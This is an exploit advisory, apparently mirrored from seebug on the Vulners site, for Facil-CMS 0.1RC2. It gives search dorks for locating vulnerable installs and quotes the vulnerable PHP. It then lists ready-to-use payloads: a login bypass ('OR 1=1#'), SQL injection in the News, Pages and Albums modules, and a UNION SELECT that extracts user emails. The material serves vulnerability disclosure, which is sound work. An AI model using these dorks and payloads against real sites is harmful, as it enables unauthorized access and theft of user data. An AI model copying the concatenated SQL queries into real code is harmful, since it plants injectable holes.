Lucene search
K

Facil-CMS 0.1RC2 Multiple Remote Vulnerabilities

🗓️ 19 Mar 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 8 Views

Facil-CMS 0.1RC2 Multiple Remote Vulnerabilities affecting modules and user authenticatio

Code

                                                [Script]
 Facil-CMS 0.1RC2

 +download: http://sourceforge.net/project/platformdownload.php?group_id=217673
 
[DORK]
inurl:modules.php?modload=News
Copyright (C) 2008 by FacilCMS.org
inurl: /facil-cms/

[Author]
any.zicky

[Contact Me]
any__dot__zicky__at__gmail__dot__com ;)

[About]
Facil CMS is a Free and Open Source Project for your site Content Management System (CMS). Facil CMS uses PHP 5 and connect to many database systens. Facil CMS is Easy to create and modify modules for your system and Support Theme Templates.

[Other bug in project]
http://www.milw0rm.com/exploits/5792

[Bugs]
1) we can see phpinfo() in root_path project

+Example: http://localhost/phpinfo.php

2) Auth bypass

let's see login.php code

[CODE]
...

if($_POST['email'] && $_POST['password'])
 {
  ...
  $email = $_POST['email'];
  $password = md5($_POST['password']);
  $user = new Users();
  $login = $user->Login($email, $password); <-------------
  if($login && !is_null($login) && !empty($login))
  {
  $user = new Users($login);
  ...
[/CODE]

then let look /facil-cms/modules/Users/class/Users.mysql.class.php code

[CODE]
...
function Login($email, $password)
  {
  $sql = "SELECT * FROM " . _USERS_DB_TABLE_ . " WHERE email='" . $email . "' AND password='" . $password . "'"; <----------
  $res = $GLOBALS['DB']->Execute($sql) or die($GLOBALS['DB']->ErrorMsg() . '<br />' . $sql);
  if($res->RecordCount() == 1)
  {
  return $res->fields('id');
  }
  }
 ...
  
[/CODE]

+Example: http://locahost/index.php?modload=User

Email: [email protected]'#
pass: blaaaaa

Email: ' OR 1=1#
pass: blaaaaa

3) SQL-INj in News modules

Let look /facil-cms/modules/News/class/News.mysql.class.php code

[CODE]
...
function getNewInfo($id)
  {
  $sql = "SELECT * FROM " . _NEWS_DB_TABLE_ . " WHERE id=" . $id; <----------------
  $res = $GLOBALS['DB']->Execute($sql) or die($GLOBALS['DB']->ErrorMsg() . '<br />' . $sql);
  if($res->RecordCount() == 1)
  {
  $this->setContent($res->fields('content'));
  $this->setDate($res->fields('date'));
  $this->setId($res->fields('id'));
  $this->setLanguage($res->fields('language'));
  $this->setPublisher($res->fields('publisher'));
  $this->setResume($res->fields('resume'));
  $this->setStatus($res->fields('status'));
  $this->setTitle($res->fields('title'));
  return true;
  }
  }
...
[/CODE]

+Example: http://localhost/facil-cms/modules.php?modload=News&op=view&id=1+AND+1=1#

4) SQL-Inj in Pages modules

Let look /facil-cms/modules/Pages/class/Pages.mysql.class.php code
[CODE]
...
function getPageInfo($id)
  {
  $sql = "SELECT * FROM " . _PAGES_DB_TABLE_ . " WHERE id=" . $id; <------------------
  $res = $GLOBALS['DB']->Execute($sql);
  if($res->RecordCount() == 1)
  {
  $this->setActive($res->fields('active'));
  $this->setContent($res->fields('content'));
  $this->setId($res->fields('id'));
  $this->setLanguage($res->fields('language'));
  $this->setTitle($res->fields('title'));
  return true;
  }
  }

...
[/CODE]

+Example: http://localhost/facil-cms/modules.php?modload=Pages&op=view&id=1+ORDER+BY+5/*

5) SQL-inj in ALbums module

Let look /facil-cms/modules/Albums/class/Photos.mysql.class.php code

[CODE]
...
function getPhotoInfo($id)
  {
  $sql = "SELECT * FROM " . _PHOTOS_DB_TABLE_ . " WHERE id=" . $id; <--------------------
  $res = $GLOBALS['DB']->Execute($sql) or die($GLOBALS['DB']->ErrorMsg() . '<br />' . $sql);
  if($res->RecordCount() == 1)
  {
  $this->setId($res->fields('id'));
  $this->setAlbum($res->fields('album'));
  $this->setFile($res->fields('file'));
  $this->setComment($res->fields('comment'));
  return true;
  }
  }
...
[/CODE]

+Example: http://localhost/facil-cms/modules.php?modload=Albums&op=photo&id=-1+UNION+SELECT+1,2,3,email+FROM+facil_users+LIMIT+1,2/*
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation